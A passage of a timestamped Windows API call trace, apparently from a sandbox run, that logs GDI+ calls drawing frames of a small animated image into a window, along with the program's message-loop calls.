GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0126.648] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0126.648] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e84f2d0 [0126.648] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e84f2d0) returned 0x0 [0126.648] LocalFree (hMem=0x1e84f2d0) returned 0x0 [0126.648] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0126.648] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e84f2d0 [0126.648] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e84f2d0) returned 0x0 [0126.649] LocalFree (hMem=0x1e84f2d0) returned 0x0 [0126.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.649] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0126.649] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0126.649] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0126.649] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0126.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.649] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0126.649] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0126.649] GetCurrentObject (hdc=0x26010191, type=0x1) returned 0x1b00017 [0126.649] GetCurrentObject (hdc=0x26010191, type=0x2) returned 0x1900010 [0126.650] GetCurrentObject (hdc=0x26010191, type=0x7) returned 0x1a05067e [0126.650] GetCurrentObject (hdc=0x26010191, type=0x6) returned 0x18a002e [0126.650] SaveDC (hdc=0x26010191) returned 1 [0126.650] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x45040b8a [0126.650] GetClipRgn (hdc=0x26010191, hrgn=0x45040b8a) returned 0 [0126.650] SelectClipRgn (hdc=0x26010191, hrgn=0x750407c3) returned 2 [0126.650] DeleteObject (ho=0x45040b8a) returned 1 [0126.650] DeleteObject (ho=0x750407c3) returned 1 [0126.650] OffsetViewportOrgEx (in: hdc=0x26010191, x=0, y=0, lppt=0x278c938 | out: lppt=0x278c938) returned 1 [0126.650] GetNearestColor (hdc=0x26010191, color=0xffffff) returned 0xffffff [0126.650] CreateSolidBrush (color=0xffffff) returned 0x4d100190 [0126.650] FillRect (hDC=0x26010191, lprc=0x15d7c0, hbr=0x4d100190) returned 1 [0126.651] DeleteObject (ho=0x4d100190) returned 1 [0126.651] RestoreDC (hdc=0x26010191, nSavedDC=-1) returned 1 [0126.651] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.651] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010191) returned 0x0 [0126.651] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd4c0dbd) returned 0x0 [0126.651] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.651] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0126.651] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0126.651] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0126.651] GetSystemMetrics (nIndex=42) returned 0 [0126.651] CoTaskMemAlloc (cb=0x6) returned 0x1e84af40 [0126.651] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e84af40, nMaxCount=1 | out: lpString="") returned 0 [0126.651] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e84af40) returned 0x0 [0126.651] CoTaskMemFree (pv=0x1e84af40) [0126.651] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0126.655] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0126.655] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0126.655] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0126.655] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0126.655] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x26010191, x1=0, y1=0, rop=0xcc0020) returned 1 [0126.655] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.655] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010191) returned 0x0 [0126.656] SelectObject (hdc=0x26010191, h=0x185000f) returned 0x1a05067e [0126.656] DeleteDC (hdc=0x26010191) returned 1 [0126.656] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.656] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0126.656] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0126.656] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0126.656] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.656] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0126.656] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.657] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.657] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0126.657] SetCursor (hCursor=0x10003) returned 0x10003 [0126.657] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.657] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.657] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0126.657] GetKeyState (nVirtKey=1) returned 0 [0126.657] GetKeyState (nVirtKey=2) returned 0 [0126.657] GetKeyState (nVirtKey=4) returned 0 [0126.657] GetKeyState (nVirtKey=5) returned 0 [0126.657] GetKeyState (nVirtKey=6) returned 0 [0126.657] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.657] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.657] WaitMessage () returned 1 [0126.754] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.754] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.754] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.754] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.754] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.754] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.754] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.754] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.754] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.754] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.755] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x2a1, wParam=0x0, lParam=0x90005b) returned 0x0 [0126.755] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.755] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.755] WaitMessage () returned 1 [0126.817] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.817] IsWindowUnicode (hWnd=0x2031e) returned 1 [0126.817] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.817] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.817] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.817] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0126.817] GetCurrentThreadId () returned 0xec0 [0126.817] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0126.817] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.817] IsWindowUnicode (hWnd=0x2031e) returned 1 [0126.817] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.817] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.817] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.818] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0126.818] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0126.818] CreateCompatibleDC (hdc=0x1010b9d) returned 0x27010191 [0126.818] SelectObject (hdc=0x27010191, h=0x1a05067e) returned 0x185000f [0126.818] GdipCreateFromHDC (hdc=0x27010191, graphics=0x15daf0) returned 0x0 [0126.818] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0126.818] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0126.818] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0126.818] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0126.818] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0126.818] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e8d0ef0 [0126.818] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e8d0ef0) returned 0x0 [0126.819] LocalFree (hMem=0x1e8d0ef0) returned 0x0 [0126.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.819] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0126.819] GdipCreateRegion (region=0x15dc20) returned 0x0 [0126.819] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0126.819] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0126.819] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0126.819] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0126.820] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0126.820] GetSystemMetrics (nIndex=42) returned 0 [0126.820] CoTaskMemAlloc (cb=0x6) returned 0x1e8b5ba0 [0126.820] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e8b5ba0, nMaxCount=1 | out: lpString="") returned 0 [0126.820] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e8b5ba0) returned 0x0 [0126.820] CoTaskMemFree (pv=0x1e8b5ba0) [0126.820] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0126.820] GdipCreateRegion (region=0x15d710) returned 0x0 [0126.820] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0126.820] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0126.820] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0126.820] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0126.820] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e8d0ef0 [0126.820] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e8d0ef0) returned 0x0 [0126.820] LocalFree (hMem=0x1e8d0ef0) returned 0x0 [0126.821] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0126.821] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e8d0ef0 [0126.821] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e8d0ef0) returned 0x0 [0126.821] LocalFree (hMem=0x1e8d0ef0) returned 0x0 [0126.821] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.821] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0126.821] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0126.821] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0126.821] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0126.821] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.821] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0126.822] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0126.822] GetCurrentObject (hdc=0x27010191, type=0x1) returned 0x1b00017 [0126.822] GetCurrentObject (hdc=0x27010191, type=0x2) returned 0x1900010 [0126.822] GetCurrentObject (hdc=0x27010191, type=0x7) returned 0x1a05067e [0126.822] GetCurrentObject (hdc=0x27010191, type=0x6) returned 0x18a002e [0126.822] SaveDC (hdc=0x27010191) returned 1 [0126.822] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x760407c3 [0126.822] GetClipRgn (hdc=0x27010191, hrgn=0x760407c3) returned 0 [0126.822] SelectClipRgn (hdc=0x27010191, hrgn=0x46040b8a) returned 2 [0126.822] DeleteObject (ho=0x760407c3) returned 1 [0126.822] DeleteObject (ho=0x46040b8a) returned 1 [0126.822] OffsetViewportOrgEx (in: hdc=0x27010191, x=0, y=0, lppt=0x278dc78 | out: lppt=0x278dc78) returned 1 [0126.822] GetNearestColor (hdc=0x27010191, color=0xffffff) returned 0xffffff [0126.822] CreateSolidBrush (color=0xffffff) returned 0x4e100190 [0126.823] FillRect (hDC=0x27010191, lprc=0x15d7c0, hbr=0x4e100190) returned 1 [0126.823] DeleteObject (ho=0x4e100190) returned 1 [0126.823] RestoreDC (hdc=0x27010191, nSavedDC=-1) returned 1 [0126.823] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.823] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010191) returned 0x0 [0126.823] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd4a0dbd) returned 0x0 [0126.823] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.823] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0126.823] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0126.823] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0126.823] GetSystemMetrics (nIndex=42) returned 0 [0126.823] CoTaskMemAlloc (cb=0x6) returned 0x1e8b5ba0 [0126.823] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e8b5ba0, nMaxCount=1 | out: lpString="") returned 0 [0126.823] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e8b5ba0) returned 0x0 [0126.823] CoTaskMemFree (pv=0x1e8b5ba0) [0126.823] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0126.823] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0126.824] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0126.824] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0126.824] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x27010191, x1=0, y1=0, rop=0xcc0020) returned 1 [0126.824] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.824] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010191) returned 0x0 [0126.824] SelectObject (hdc=0x27010191, h=0x185000f) returned 0x1a05067e [0126.824] DeleteDC (hdc=0x27010191) returned 1 [0126.824] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.824] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0126.824] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0126.824] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0126.824] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.824] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.825] WaitMessage () returned 1 [0127.019] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0127.019] IsWindowUnicode (hWnd=0x2031e) returned 1 [0127.020] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0127.020] TranslateMessage (lpMsg=0x15e910) returned 0 [0127.020] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0127.020] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0127.020] GetCurrentThreadId () returned 0xec0 [0127.020] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0127.020] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0127.020] IsWindowUnicode (hWnd=0x2031e) returned 1 [0127.020] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0127.020] TranslateMessage (lpMsg=0x15e910) returned 0 [0127.020] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0127.021] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0127.021] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0127.021] CreateCompatibleDC (hdc=0x1010b9d) returned 0x28010191 [0127.021] SelectObject (hdc=0x28010191, h=0x1a05067e) returned 0x185000f [0127.021] GdipCreateFromHDC (hdc=0x28010191, graphics=0x15daf0) returned 0x0 [0127.022] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0127.022] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0127.022] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0127.022] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0127.022] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0127.022] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e972c40 [0127.022] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e972c40) returned 0x0 [0127.023] LocalFree (hMem=0x1e972c40) returned 0x0 [0127.023] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.023] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0127.023] GdipCreateRegion (region=0x15dc20) returned 0x0 [0127.023] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0127.023] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0127.023] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0127.023] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0127.023] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0127.024] GetSystemMetrics (nIndex=42) returned 0 [0127.024] CoTaskMemAlloc (cb=0x6) returned 0x1e971e40 [0127.024] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e971e40, nMaxCount=1 | out: lpString="") returned 0 [0127.024] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e971e40) returned 0x0 [0127.024] CoTaskMemFree (pv=0x1e971e40) [0127.024] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0127.024] GdipCreateRegion (region=0x15d710) returned 0x0 [0127.024] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0127.024] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0127.024] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0127.024] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0127.024] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e972c40 [0127.025] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e972c40) returned 0x0 [0127.025] LocalFree (hMem=0x1e972c40) returned 0x0 [0127.025] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0127.025] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e972c40 [0127.025] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e972c40) returned 0x0 [0127.026] LocalFree (hMem=0x1e972c40) returned 0x0 [0127.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.026] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0127.026] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0127.026] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0127.026] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0127.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.026] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0127.026] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0127.026] GetCurrentObject (hdc=0x28010191, type=0x1) returned 0x1b00017 [0127.027] GetCurrentObject (hdc=0x28010191, type=0x2) returned 0x1900010 [0127.027] GetCurrentObject (hdc=0x28010191, type=0x7) returned 0x1a05067e [0127.027] GetCurrentObject (hdc=0x28010191, type=0x6) returned 0x18a002e [0127.027] SaveDC (hdc=0x28010191) returned 1 [0127.027] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x47040b8a [0127.027] GetClipRgn (hdc=0x28010191, hrgn=0x47040b8a) returned 0 [0127.027] SelectClipRgn (hdc=0x28010191, hrgn=0x770407c3) returned 2 [0127.027] DeleteObject (ho=0x47040b8a) returned 1 [0127.027] DeleteObject (ho=0x770407c3) returned 1 [0127.027] OffsetViewportOrgEx (in: hdc=0x28010191, x=0, y=0, lppt=0x278e5b0 | out: lppt=0x278e5b0) returned 1 [0127.028] GetNearestColor (hdc=0x28010191, color=0xffffff) returned 0xffffff [0127.028] CreateSolidBrush (color=0xffffff) returned 0x4f100190 [0127.028] FillRect (hDC=0x28010191, lprc=0x15d7c0, hbr=0x4f100190) returned 1 [0127.028] DeleteObject (ho=0x4f100190) returned 1 [0127.028] RestoreDC (hdc=0x28010191, nSavedDC=-1) returned 1 [0127.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.028] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010191) returned 0x0 [0127.028] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd480dbd) returned 0x0 [0127.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.029] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0127.029] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0127.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0127.029] GetSystemMetrics (nIndex=42) returned 0 [0127.029] CoTaskMemAlloc (cb=0x6) returned 0x1e971e40 [0127.029] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e971e40, nMaxCount=1 | out: lpString="") returned 0 [0127.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e971e40) returned 0x0 [0127.029] CoTaskMemFree (pv=0x1e971e40) [0127.029] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0127.070] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0127.071] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0127.071] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0127.071] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0127.071] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x28010191, x1=0, y1=0, rop=0xcc0020) returned 1 [0127.072] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.072] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010191) returned 0x0 [0127.072] SelectObject (hdc=0x28010191, h=0x185000f) returned 0x1a05067e [0127.072] DeleteDC (hdc=0x28010191) returned 1 [0127.072] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.072] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0127.072] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0127.072] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0127.072] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0127.072] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0127.072] WaitMessage () returned 1 [0127.483] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0127.483] IsWindowUnicode (hWnd=0x2031e) returned 1 [0127.483] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0127.484] TranslateMessage (lpMsg=0x15e910) returned 0 [0127.484] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0127.484] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0127.484] GetCurrentThreadId () returned 0xec0 [0127.484] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0127.484] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 